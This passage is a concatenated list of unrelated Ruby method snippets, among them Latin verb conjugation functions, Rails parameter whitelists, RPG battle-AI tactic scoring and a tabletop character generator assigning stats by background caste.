Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def active_voice_subjunctive_mood_present_tense\n end", "def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end", "def passive_voice_subjunctive_mood_present_tense\n end", "def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def emotional_adjective; end", "def aspect_params\n params.require(:aspect).permit(:name, :description)\n end", "def aspect_params\n params.require(:aspect).permit(:brief, :title)\n end", "def aspects(context={})\n \n app = context[:app]\n \n aspects = []\n \n # front-page photo aspect\n aspects << ::Plugins::Aspect.new(:photo, app.t.aspect.photo, FieldSet::Photo, PhotoAspectDelegate.new,\n [Plugins::AspectConfigurationAttribute.new(:album_name, 'album name', 'photos'),\n Plugins::AspectConfigurationAttribute.new(:album_photo_width, 'photo width', 640),\n Plugins::AspectConfigurationAttribute.new(:album_photo_height, 'photo height', 480),\n Plugins::AspectConfigurationAttribute.new(:media_accept, 'media accept', 'image/jpeg,image/gif,image/png,image/jpeg'),\n Plugins::AspectConfigurationAttribute.new(:max_size, 'max size', 3000000)])\n\n # album (galley) aspect\n aspects << ::Plugins::Aspect.new(:album, app.t.aspect.gallery, FieldSet::Album, GalleryAspectDelegate.new,\n [Plugins::AspectConfigurationAttribute.new(:album_prefix, 'album prefix', 'ysd_'),\n Plugins::AspectConfigurationAttribute.new(:album_photo_width, 'photo width', 640),\n Plugins::AspectConfigurationAttribute.new(:album_photo_height, 'photo height', 480),\n Plugins::AspectConfigurationAttribute.new(:media_accept, 'media accept', 'image/jpeg,image/gif,image/png,image/jpeg'),\n Plugins::AspectConfigurationAttribute.new(:max_size, 'max size', 1000000),\n Plugins::AspectConfigurationAttribute.new(:render, 'render', 'album')])\n \n return aspects\n \n end", "def active_voice_indicative_mood_imperfect_tense\n end", "def idea_params\n params.require(:idea).permit(\n :phase,\n :create_days,\n :title,\n :brief,\n :image,\n :active,\n :user_id,\n :kind,\n :category,\n :aspects_attributes => [:id, :brief, :title]\n )\n end", "def anatomy_past_tense; end", "def determine_tactic\n #Override retreat if physical attack\n if attack?\n @tactic = 1\n elsif skill?\n if !item.nil?\n @tactic = 2\n end\n else\n @tactic = 3\n end\n end", "def atk\n apply_param_limiter(super + party_gift(:atk) + spirit_attack)\n end", "def opinion_params\n params.require(:opinion).permit(:context, :user_id, :tape_id)\n end", "def passive_voice_indicative_mood_imperfect_tense\n end", "def set_advantage_rate(action)\n advantage_rate = eval(action + '_Rate')\n for type in ['Weapon', 'Armor', 'Skill', 'Switch']\n action_type = eval(action + '_Actions[type]')\n if action_type != nil\n case type\n when 'Weapon'\n for weapon in get_weapons\n next if action_type[action_id(weapon)].nil?\n advantage_rate += action_type[action_id(weapon)]\n end\n when 'Armors'\n for armor in get_armors\n next if action_type[type][action_id(armor)].nil?\n advantage_rate += action_type[type][action_id(armor)]\n end\n when 'Skills'\n for skill in get_skills\n next if action_type[type][skill].nil?\n advantage_rate += action_type[type][skill]\n end\n when 'Switches'\n for i in 0...$game_switches.size\n next if action_type[type][i].nil? or not $game_switches[i]\n advantage_rate += action_type[type][i]\n end\n end \n end\n end\n advantage_rate += $game_system.plus_advantage if action == 'Advantage'\n advantage_rate += $game_system.plus_disvantage if action == 'Disvantage'\n advantage_rate += $game_system.plus_pre_emptive if action == 'Pre_Emptive'\n advantage_rate += $game_system.plus_raid_attack if action == 'Raid_Attack'\n advantage_rate += $game_system.plus_back_attack if action == 'Back_Attack'\n advantage_rate += $game_system.plus_surprised if action == 'Surprised'\n if Agi_Check_For_Advantage\n actors_agi = $game_party.avarage_stat('agi')\n enemies_agi = $game_troop.avarage_stat('agi')\n advantage_rate += (10 - (10 * enemies_agi / actors_agi))\n end\n return advantage_rate\n end", "def active_voice_subjunctive_mood_imperfect_tense\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n present_active_infinitive.sub(/e$/,'ē') + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def tbs_tactic_rate\n tactic = GTBS_Tactics::All_AI_Tactics[ (battler.ai_tactic or 'default') ]\n value = 0\n if @effect_preview.keys.size == 0\n self.rating = value\n return\n end\n \n for target, effect in @effect_preview\n hit_chance, dmg_eval, mp, rate_states, rate_counter = effect\n damage, ref, ally = dmg_eval\n damage_frac = damage / ref.to_f\n dmg_rate = (mp ? tactic.mp_damage : tactic.hp_damage) \n target_rate = [0.01, ((subject.view_range.to_f/$game_map.distance(subject, target)) * target.tgr)].max\n \n if ally\n pained_ally = (target.hp / target.mhp.to_f < 0.33) ? 1.0 + tactic.team_rate : 1.0\n death_unlike = (damage_frac > 0.83) ? [damage_frac*(1.0+tactic.team_rate), 1.0].max : 1.0\n dmg_rate = tactic.hp_heal if damage < 0\n value -= (hit_chance / 100.0) * damage_frac * dmg_rate * death_unlike * pained_ally * target_rate\n value += rate_states * tactic.state * tactic.team_rate * pained_ally * target_rate\n else\n n_ally = 1.0\n #if tactic team enabled, add value if target can be attacked by other allies\n if tactic.team\n for bat in subject.friends\n if @other_bat_attack[bat] & target.positions != []\n n_ally += tactic.team_rate\n end\n end\n end\n if tactic.force_approach\n value += 10\n end\n \n #check 83% because variance add 20%\n death_like = (damage_frac > 0.83) ? [damage_frac*tactic.death_like, 1.0].max : 1.0\n value += n_ally * (hit_chance / 100.0 * damage / ref.to_f * dmg_rate) * death_like * target_rate\n value += rate_states * tactic.state * target_rate\n #don't care of counter if unit will die\n rate_counter *= (1.0 - damage_frac) / 0.17 if (damage_frac > 0.83)\n end\n value -= rate_counter * tactic.counter\n value -= tactic.mp_save * battler.skill_mp_cost(item) / [battler.mmp.to_f, 1.0].max if skill?\n end\n \n #modify rating\n if value > 0\n unless tactic.team \n value += (@move_pos == battler.pos) ? tactic.position : -tactic.position / 4 * rate_pos_safe\n end\n value = (value * ai_rating)\n self.rating += (value * tactic.predictable / 100).to_i\n else\n self.rating = 0\n end\n end", "def passive_voice_subjunctive_mood_pastperfect_tense# {{{\n count = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PLUPERF_PAST_ENDINGS.map do |ending|\n count += 1\n (count <= 2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def check_for_improper_constructions(infinitive, tense, person, mood, diathesis)\n if (mood == :imperative) && !((person == :second) && (tense == :present))\n raise Verbs::ImproperConstruction, 'The imperative mood requires present tense and second person'\n end\n if (infinitive.to_sym == :be) && (diathesis == :passive)\n raise Verbs::ImproperConstruction, 'There is no passive diathesis for the copula'\n end\n end", "def active_voice_indicative_mood_present_tense\n end", "def active_voice_subjunctive_mood_pastperfect_tense# {{{\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \"issē\"\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def advice_params\n params.require(:advice).permit(:advice_type,:subject,:description,:read,:completed)\n end", "def passive_voice_indicative_mood_pastperfect_tense# {{{\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PAST_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_pastperfect_tense]}\n )\n end", "def draw_tactic_overview\n end", "def get_advice\n \tadvice = [\n \t\t{:message => \"#{self.name.capitalize}'s blood pressure is a little high. Help #{self.gender_label} relax by sending a funny picture of #{self.gender_label} grandchildren.\", :action =>\"picture\"},\n \t\t{:message => \"#{self.name.capitalize}'s number of steps this week was below average. Encourage #{self.gender_label} to go out of the house by sending #{self.gender_label} a movie ticket.\", :action => \"gift\"},\n \t\t{:message => \"Congratulate #{self.name.capitalize} on #{self.gender_label} amazing weight loss. Send #{self.gender_label} a treat.\", :action => \"gift\"},\n \t\t{:message => \"Thinking about #{self.name.capitalize}? Give #{self.gender_label} a call to tell #{self.gender_label} you are proud of #{self.gender_label}.\", :action => \"call\"},\n \t\t{:message => \"Help #{self.name.capitalize} maintain #{self.gender_label} weight by sending a low sodium entree from #{self.gender_label} favorite restaurant.\", :action => \"food\"},\n \t\t{:message => \"Have a family event you would love #{self.name.capitalize} to attend? Send a personal driver to pick #{self.gender_label} up.\", :action => \"taxi\"},\n \t\t{:message => \"Busy with your child's first dance showcase? Lighthouse taxi will take care of #{self.name.capitalize} from pickup to drop-off.\", :action => \"taxi\"},\n \t\t{:message => \"It's time to pay it forward. Arrange a date to a cooking class. Low sodium of course!\", :action => \"gift\"}\n \t]\n\n \treturn advice[1]\n\n end", "def passive_voice_indicative_mood_present_tense\n end", "def on_opinion_expression(attr)\n current_object.polarity = attr['polarity']\n current_object.strength = attr['strength'].to_i\n\n @buffer_targets = true\n end", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def passive_voice_indicative_mood_future_tense\n end", "def advice\n end", "def active_voice_indicative_mood_future_tense\n end", "def set_aspect\n @aspect = Aspect.find(params[:id])\n end", "def assessment_params\n params.require(:assessment).permit(:aspect, :percentage, :category)\n end", "def contraceptive_method_params\n params.require(:contraceptive_method).permit(:name_contraceptive, :description_contraceptive)\n end", "def adventuring() skill(:adventuring) end", "def parse_aspects\n glob(\"common/church_aspects/*.txt\").each do |path|\n parse(path).each do |aspect_name, aspect|\n @aspects[aspect_name] = aspect[\"modifier\"]\n end\n end\n end", "def promotion\r\n\r\n end", "def def\n apply_param_limiter(super + party_gift(:def) + spirit_defense)\n end", "def caste_based_details(caste)\n case caste\n when \"Slave, Labor\"\n\n @@endurance += d(10)\n @@strength += d(10)\n @@intelligence = [@@intelligence - d(10), 1].max\n @@perception = [@@perception - d(6), 1].max\n @@outfittingcode = \"Escaped Prisoner\"\n puts \"+d10 to Endurance and Strength; -d10 to Intelligence, -d6 to Perception.\"\n bounty_chance(32,(20 + (d(6) + d(6) + d(6))))\n\n\n when \"Slave, Kitchen\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence += d(6)\n @@willpower = [@@willpower - d(12), 1].max\n @@outfittingcode = \"Escaped Prisoner\"\n bounty_chance(27,(20 + (d(6) + d(6) + d(6))))\n\n when \"Slave, Servant\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence += d(6)\n @@perception += d(6)\n @@willpower = [@@willpower - d(6), 1].max\n @@outfittingcode = \"Escaped Prisoner\"\n @@misc_skill_rolls += 1\n bounty_chance(76,(100 + (d(6) + d(6) + d(6))))\n @@literacy = \"Literate\"\n\n when \"Slave, Whore\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence = [@@intelligence - d(6), 1].max\n @@willpower = [@@willpower - d(6), 1].max\n @@appearance += d(6)\n @@outfittingcode = \"Escaped Prisoner\"\n @@skills << \"Erotic Arts\"\n bounty_chance(82,(100 + (d(4) * 25)))\n\n when \"Slave, Court\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence = [@@intelligence - d(6), 1].max\n @@perception += d(6)\n @@willpower = [@@willpower - d(6), 1].max\n @@appearance += d(6)\n @@outfittingcode = \"Escaped Prisoner\"\n @@misc_skill_rolls += d(3)\n bounty_chance(87,(100 + (d(4) * 25)))\n @@literacy = \"Literate\" # assumption\n @@number_of_languages += d(4)\n @@character_notes << \"Has a fairly accurate knowledge of the political and geographic layout of the region.\"\n\n\n when \"Slave, Gladiator\"\n\n @@endurance += (d(10) + d(10))\n @@strength += (d(10) + d(10))\n @@agility += d(8)\n @@accuracy += d(8)\n @@intelligence = [@@intelligence - d(10), 1].max\n @@perception += d(8)\n @@willpower = [@@willpower - d(4), 1].max\n @@appearance = [@@appearance - (d(8) + d(8)), 1].max\n @@outfittingcode = \"Escaped Prisoner\"\n d(3).times do\n @@skills << \"Brawling\"\n end\n @@warrior_skill_rolls += (4+(rand(1..4)))\n bounty_chance(94,(200 + (d(100) + d(100))))\n literacy_chance(2,0)\n\n\n when \"Fisher\"\n\n @@endurance += d(6)\n @@strength += d(6)\n @@perception += d(8)\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Spear Weapons\"\n end\n @@misc_skill_rolls += 1\n @@equipment << \"collapsible wooden fishing rod with reel\";\"30m of fshing line\";\"fishing hooks and lures\";\n \"small fshing net\";\"fishing spear/harpoon\"\n literacy_chance(6,0)\n\n when \"Hunter\"\n\n @@endurance += d(8)\n @@strength += d(8)\n @@agility += d(6)\n @@accuracy += d(6)\n @@perception += d(8)\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Weapons Expert: Bow\"\n end\n @@skills << \"Wilderness Survival\"\n @@misc_skill_rolls += 1\n @@character_notes << \"Accustomed to being outdoors, knows most animals by their tracks, and can start a fre with mere sticks, knows how to conceal the fre at night, make simple shelters, snares and deadfall traps.\"\n\n when \"Miner\"\n\n @@endurance += d(10)\n @@strength += (d(10) + (rand(1..10)))\n @@appearance = [@@appearance - d(6), 1].max\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Weapons Expert: Pickaxe\"\n end\n @@misc_skill_rolls += 1\n @@equipment << \"shovel\"; \"pickaxe\"; \"#{d(20) + d(20) + d(20)} m rope\"; \"lantern and oil\"\n literacy_chance(5,0)\n\n when \"Logger\"\n\n @@endurance += d(8)\n @@strength += d(8)\n @@agility += d(6)\n @@perception += d(6)\n @@appearance = [@@appearance - d(3), 1].max\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Weapons Expert: Axe\"\n end\n @@misc_skill_rolls += 1\n @@equipment << \"hatchet\"; \"logger's double-headed axe (battle axe)\"\n @@character_notes << \"+3 initiative in encounters with carnivorous mutant plants\"\n literacy_chance(6,0)\n\n when \"Farmer\"\n\n @@endurance += d(6)\n @@strength += d(6)\n @@perception += d(6)\n @@outfittingcode = 'Poor'\n d(3).times do\n @@skills << \"Weapons Expert: Pitchfork\"\n end\n @@misc_skill_rolls += 1\n @@character_notes << \"Can throw pitchfork 2x typical range\"\n literacy_chance(4,32)\n\n when \"Nomad\"\n\n @@agility += d(10)\n @@perception += d(6)\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Rider\"\n end\n @@skills << \"Navigate by Stars\"\n @@misc_skill_rolls += d(3)\n literacy_chance(13,18)\n\n when \"Trader\"\n def trader_background(roll)\n case roll\n when 1..34\n \"self-employed traveling peddler\"\n else\n \"merchant's apprentice\"\n end\n end\n def trader_debt(roll)\n case roll\n when 1..23\n @@debts << \"Owes #{(d(1000) + d(1000) + d(1000))} to the merchant's guild of the largest regional free town.\"\n end\n end\n @@intelligence += (d(10) + (d(10)))\n @@perception += d(10)\n @@outfittingcode = \"Well Equipped\"\n @@skills << \"Barter\"\n @@misc_skill_rolls += (1 + d(3))\n @@character_notes << \"Was a #{trader_background(d(100))} before becoming an excavator.\"\n @@number_of_languages += d(4)\n @@literacy = \"Literate\"\n @@do_math = \"Can do math\"\n @@money += (d(100) + d(100))\n trader_debt(d(100))\n\n when \"Craftsperson\"\n def craft_specialty(roll) # Hub Rules p. 14\n case roll\n when 1\n \"glass and plastic jeweler\"\n when 2\n \"potter\"\n when 3\n \"leatherworker\"\n when 4\n \"fletcher/arrow crafter\"\n when 5\n \"beer and wine brewer\"\n when 6\n \"paper maker\"\n when 7..8\n \"cook at an inn\"\n when 9\n \"visual art (maps, signs, insignia, wanted posters, etc.)\"\n when 10\n \"smithy assistant\"\n when 11\n \"weaver\"\n when 12\n \"butcher's assistant\"\n when 13\n \"glass blower\"\n when 14\n \"tattoo artist\"\n when 15..19\n \"carpenter's assistant\"\n when 20\n \"stone mason's assistant\"\n end\n end\n if @@intelligence >= 35\n @@literacy = \"Literate\"\n end\n @@character_notes << \"Before becoming an excavator, worked as a #{craft_specialty(d(20))}\"\n\n when \"Student\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence += (d(10) + d(10) + d(10))\n @@appearance += d(6)\n @@outfittingcode = \"Modest\"\n @@educated_skill_rolls += (d(6) + d(6) + 2)\n @@misc_skill_rolls += d(2)\n @@number_of_languages += d(4)\n @@literacy = \"Literate\"\n @@do_math = \"Can do math\"\n\n when \"Scribe\"\n def scribe_past(roll)\n case roll\n when 1..66\n \"local government\"\n else\n \"powerful merchant\"\n end\n end\n bounty_chance(22,(250 + (d(100) + d(100))))\n if @@bounty_offered == \"Yes\"\n @@bounty_offered = \"Yes (death)\"\n @@character_notes << \"Certain secrets crossed this scribe's desk, resulting in a hefty bounty...\"\n end\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@perception += d(6)\n @@outfittingcode = \"Modest\"\n @@educated_skill_rolls += d(3)\n @@misc_skill_rolls += 1\n @@literacy = \"Literate\"\n @@do_math = \"Advanced math\"\n @@character_notes << \"Scribe worked for a #{scribe_past(d(100))} and has a clear knowledge of regional settlements and political climate.\"\n @@number_of_languages += (d(3) + 1)\n\n when \"Technician\"\n\n @@agility += d(3)\n @@accuracy += d(3)\n @@intelligence += (d(8) + rand(1..8))\n @@outfittingcode = \"Well Equipped\"\n @@tech_skill_rolls += (d(6) + rand(1..6))\n @@educated_skill_rolls += rand(1..2)\n @@misc_skill_rolls += d(3)\n bounty_chance(28,(200 + (d(100) + d(100))))\n\n when \"Street Urchin\"\n def urchin_past(roll)\n case roll\n when 1..26\n \"runaway\"\n else\n \"orphan\"\n end\n end\n def urchin_outlaw(roll)\n case roll\n when 1..6\n @@character_notes << \"Wanted by the law: if arrested in hometown, faces #{(d(6) + d(6))}-year prison sentence\"\n end\n end\n def urchin_debt(roll)\n case roll\n when 1..12\n @@debts << \"Owes #{(d(100) + d(100) + d(100))} to former gang in home town, who'll beat and rob the character if s/he returns.\"\n end\n end\n @@character_notes << \"Character was a/an #{urchin_past(d(100))} before becoming an excavator.\"\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(3), 1].max\n @@agility += d(10)\n @@accuracy += d(6)\n @@appearance = [@@appearance - d(6), 1].max\n @@outfittingcode = \"Impoverished\"\n #skills: brawling d3; criminal d3+1; 1 misc roll\n @@criminal_skill_rolls += d(3)\n @@misc_skill_rolls += 1\n d(3).times do\n @@skills << \"Brawling\"\n end\n urchin_debt(d(100))\n\n when \"Street Thug\"\n\n @@endurance += (d(6) + d(6))\n @@strength += (d(6) + + d(6))\n @@intelligence = [@@intelligence - d(6), 1].max\n @@appearance = [@@appearance - d(6), 1].max\n @@outfittingcode = \"Poor\"\n #skills: brawling d4; criminal 2; warrior 2; 1 roll on misc table\n d(4).times do\n @@skills << \"Brawling\"\n end\n @@criminal_skill_rolls += 2\n @@warrior_skill_rolls += 2\n @@misc_skill_rolls += 1\n literacy_chance(14,19)\n bounty_chance(15,\"Death\")\n\n when \"Raider\"\n def has_horse(roll)\n case roll\n when 1..36\n @@equipment << \"Saddle horse\"\n end\n end\n @@endurance += d(10)\n @@strength += d(10)\n @@outfittingcode = \"Poor\"\n #skills: rider d3; criminal 2; warrior 2; 1 roll on misc table\n d(3).times do\n @@skills << \"Riding\"\n end\n @@criminal_skill_rolls += 2\n @@warrior_skill_rolls += 2\n @@misc_skill_rolls += 1\n has_horse(d(100))\n literacy_chance(16,21)\n @@character_notes << \"9% chance per encounter with any raiders character is recognized, and raiders will (d6: 1-3. try and sell him as a slave/ 4,5. forcibly enlist him and his companions / 6. kill him.)\"\n\n when \"Pirate\"\n\n @@endurance += d(10)\n @@strength += d(10)\n @@outfittingcode = \"Poor\"\n #skills: navigate by stars 1; criminal 2; warrior 2; 1 roll on misc table\n @@skills << \"Navigate by Stars\"\n @@criminal_skill_rolls += 2\n @@warrior_skill_rolls += 2\n @@misc_skill_rolls += 1\n literacy_chance(9,12)\n @@character_notes << \"In any encounters with pirates, character is 46% likely to be recognized by a crew member. If so, she will be deemed a traitor to her caste and either stripped and sold as a slave, after a good flogging (01-79% chance), or (80-00%) drawn and quartered on the spot.\"\n\n when \"Thief\"\n\n @@endurance = [@@endurance - d(3), 1].max\n @@strength = [@@strength - d(3), 1].max\n @@agility += d(12)\n @@accuracy += d(8)\n @@outfittingcode = \"Impoverished\"\n #skills: brawling 1; criminal d3+4; 1 roll on misc table\n @@skills << \"Brawling\"\n @@criminal_skill_rolls += (d(3) + 4)\n @@misc_skill_rolls += 1\n literacy_chance(17,24)\n # @@equipment << \"lock pick set\", \"30m of rope\", \"a dark cloak\", \"soft boots for quiet walking\"\n bounty_chance(57,(d(100) + d(100) + d(100) + d(100)))\n if @@bounty_value > 0\n @@character_notes << \"In hometown, 78% likely character is recognized and 2d6 raiders are sent to cripple and rob her, plus any associates she might travel with.\"\n end\n\n when \"Assassin\"\n\n @@endurance += d(6)\n @@strength += (d(6) + (rand(1..6)))\n @@agility += d(10)\n @@accuracy += d(10)\n @@perception += d(10)\n @@outfittingcode = \"Fully Armed\"\n #skills: martial arts d4; knife throwing d3; criminal d3; warrior d6; 1 roll on misc table\n d(4).times do\n @@skills << \"Martial Arts\"\n end\n d(3).times do\n @@skills << \"Knife Throwing\"\n end\n @@criminal_skill_rolls += d(3)\n @@warrior_skill_rolls += d(6)\n @@misc_skill_rolls += 1\n\n @@equipment << \"black cloak and ninja style outfit (in addition to regular streeth clothes)\"\n def assassin_poison(roll)\n case roll\n when 1..7\n @@equipment << \"100ml of type C death poison (10ml needed to coat a blade and potentially poison anybody who is punctured)\"\n end\n end\n assassin_poison(d(10))\n @@character_notes << \"In each encounter with bounty hunters, 41% chance character wanted dead.\"\n @@character_notes << \"While entering any town while not in disguise, 13% chance per day that the assassin’s brotherhood have located him and will send d6+2 members after him that night.\"\n\n when \"Draftee\"\n def draftee_history(roll)\n case roll\n when 1..87\n \"Drafted for home town militia\"\n else\n \"Drafted while visiting a neighboring town\"\n end\n end\n @@endurance += d(3)\n @@strength += d(3)\n @@outfittingcode = \"Modest\"\n #skills: warrior 1; misc d2\n @@warrior_skill_rolls += 1\n @@misc_skill_rolls += d(2)\n literacy_chance(28,33)\n @@character_notes << \"73% chance upon returning to town where drafted, she'll be recognized and arrested. d6: 1-3. hang her from the nearest tree/ 4,5. sell her as a slave/ 6. put her in jail for 2d6 months before drafting her back into the army, but chain her at night.\"\n\n when \"Militia Soldier\"\n\n @@endurance += d(6)\n @@strength += d(6)\n @@outfittingcode = \"Modest\"\n #skills: warrior d3; misc d2\n @@warrior_skill_rolls += d(3)\n @@misc_skill_rolls += d(2)\n literacy_chance(32,39)\n\n when \"Watchman\"\n\n @@endurance += d(6)\n @@strength += d(10)\n @@perception += d(10)\n @@outfittingcode = \"Well Equipped\"\n #skills: brawling d3; warrior d3; misc d2\n d(3).times do\n @@skills << \"Brawling\"\n end\n @@warrior_skill_rolls += d(3)\n @@misc_skill_rolls += d(2)\n @@character_notes << \"not well liked in his home town, and if he returns, there is a 17% chance that a mob of 2d8 raiders will somehow try to corner him and his associates, and beat them soundly, if not kill them.\"\n literacy_chance(22,31)\n\n when \"Infantryman\"\n def infantry_history(roll)\n case roll\n when 1..68\n @@character_notes << \"Deserter. 47% chance per encounter with city's/nation's army, character recognized and jailed 2d6 years.\"\n @@enemies << \"City/nation army character previously served with.\"\n when 69..89\n @@character_notes << \"Retiree from the army. 47% chance per encounter with city's/nation's army, character recognized, saluted, and assisted.\"\n when 90..100\n @@character_notes << \"AWOL - was sole survivor of an operation and never returned to active duty. 47% chance per encounter with city's/nation's army, character recognized and reassigned to a new unit.\"\n end\n end\n infantry_history(d(100))\n @@endurance += d(12)\n @@strength += d(12)\n @@outfittingcode = \"Well Equipped\"\n #skills: warrior d6; misc d2\n @@warrior_skill_rolls += d(6)\n @@misc_skill_rolls += d(2)\n literacy_chance(15,22)\n\n when \"Cavalry\"\n def cavalry_history(roll)\n case roll\n when 1..68\n @@character_notes << \"Deserter. 47% chance per encounter with city's/nation's army, character recognized and jailed 2d6 years.\"\n when 69..89\n @@character_notes << \"Retiree. 47% chance per encounter with city's/nation's army, character recognized, saluted, and assisted.\"\n when 90..100\n @@character_notes << \"AWOL - was sole survivor of an operation and never returned to active duty. 47% chance per encounter with city's/nation's army, character recognized and reassigned to a new unit.\"\n end\n end\n cavalry_history(d(100))\n @@endurance += d(10)\n @@strength += d(12)\n @@agility += d(3)\n @@outfittingcode = \"Well Equipped\"\n #skills: riding d6; warrior d4; misc d2\n d(6).times do\n @@skills << \"Riding\"\n end\n @@warrior_skill_rolls += d(4)\n @@misc_skill_rolls += d(2)\n literacy_chance(15,22)\n\n when \"Mercenary\"\n def mercenary_bonus_skills(roll1,roll2,roll3,roll4,roll5,roll6)\n case roll1\n when 1..36\n d(3).times do\n @@skills << \"Gambling\"\n end\n end\n case roll2\n when 1..14\n @@skills << \"Negotiation\"\n end\n case roll3\n when 1..32\n d(3).times do\n @@skills << \"Lying\"\n end\n end\n case roll4\n when 1..29\n d(3).times do\n @@skills << \"Riding\"\n end\n end\n case roll5\n when 1..32\n @@criminal_skill_rolls += d(3)\n end\n case roll6\n when 1..43\n @@equipment << \"Riding horse\"\n end\n end\n def mercenary_history(roll)\n case roll\n when 1..87\n @@character_notes << \"Left mercenary employment on good terms.\"\n when 88..100\n @@character_notes << \"14% likely per every meeting with mercenaries in that region that he will run into his own squad, who will be angry that he left and rob and sell him into slavery, along with any companions.\"\n end\n end\n mercenary_bonus_skills(d(100),d(100),d(100),d(100),d(100),d(100))\n mercenary_history(d(100))\n @@endurance += d(10)\n @@strength += d(10)\n @@agility += d(6)\n @@accuracy += d(6)\n @@outfittingcode = \"Well Equipped\"\n #skills: brawling d3; warrior d6; misc d4\n d(3).times do\n @@skills << \"Brawling\"\n end\n @@warrior_skill_rolls += d(6)\n @@misc_skill_rolls += d(4)\n literacy_chance(18,27)\n\n when \"Elite Soldier\"\n def elite_soldier_history(roll)\n case roll\n when 1..38\n @@character_notes << \"Retired from military service.\"\n else\n case bounty_roll(roll)\n when 1..73\n @@bounty_offered = (200 + d(100) + d(100))\n @@enemies << \"Squad of #{d(6) + d(6) + d(6)} from former military company hunting this character.\"\n end\n bounty_roll(d(100))\n end\n end\n elite_soldier_history(d(100))\n @@endurance += (d(8) + (rand(1..8)))\n @@strength += (d(8) + (rand(1..8)))\n @@agility += d(8)\n @@accuracy += d(8)\n @@willpower += d(8)\n @@outfittingcode = \"Well Equipped\"\n #skills: brawling d4; warrior d6+4; misc d4\n d(4).times do\n @@skills << \"Brawling\"\n end\n @@warrior_skill_rolls += (4 + d(6))\n @@misc_skill_rolls += d(4)\n literacy_chance(34,41)\n\n else puts \"Hmm... looks like caste-based attributes and skills assignment screwed up. Debug mofo!\"\n\n end\n\nend", "def set_relations\n alchemy_api = Alchemy.new()\n @instance_relations = alchemy_api.relations('text', self.text)[\"relations\"]\n @tenses = @instance_relations.map do |relation|\n relation[\"action\"][\"verb\"][\"tense\"]\n end\n self.tense_orientation = most_common_value(@tenses)\n end", "def enchantment; end", "def active_voice_indicative_mood_perfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [first_person_perfect.to_s, Linguistics::Latin::Verb::LatinVerb::APERF_ENDINGS.collect{|x| substem+x.to_s}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_perfect_tense] }\n end", "def learn utterance\n MyLogger.debug \"Player ##{id} learning #{utterance}\"\n # 1. Incorporation\n rule = grammar.learn utterance.meaning, utterance.word\n # 2. Merging\n grammar.merge rule if rule\n # 3. Cleaning\n grammar.clean!\n end", "def wrap(*args)\n o = options = {\n :pre => :pre,\n :post => :post\n }\n options.update(args.pop) if args.last.is_a?(Hash)\n\n for aspect in args\n self.advices! << Advice.new(aspect, options)\n end\n end", "def aspect_membership_dropdown\n @person = Person.find_by_guid(params[:person_id])\n\n # you are not a contact of yourself...\n return render :text => I18n.t('people.person.thats_you') if @person == current_user.person\n\n @contact = current_user.contact_for(@person) || Contact.new\n @aspect = :profile if params[:create] # let aspect dropdown create new aspects\n size = params[:size] || 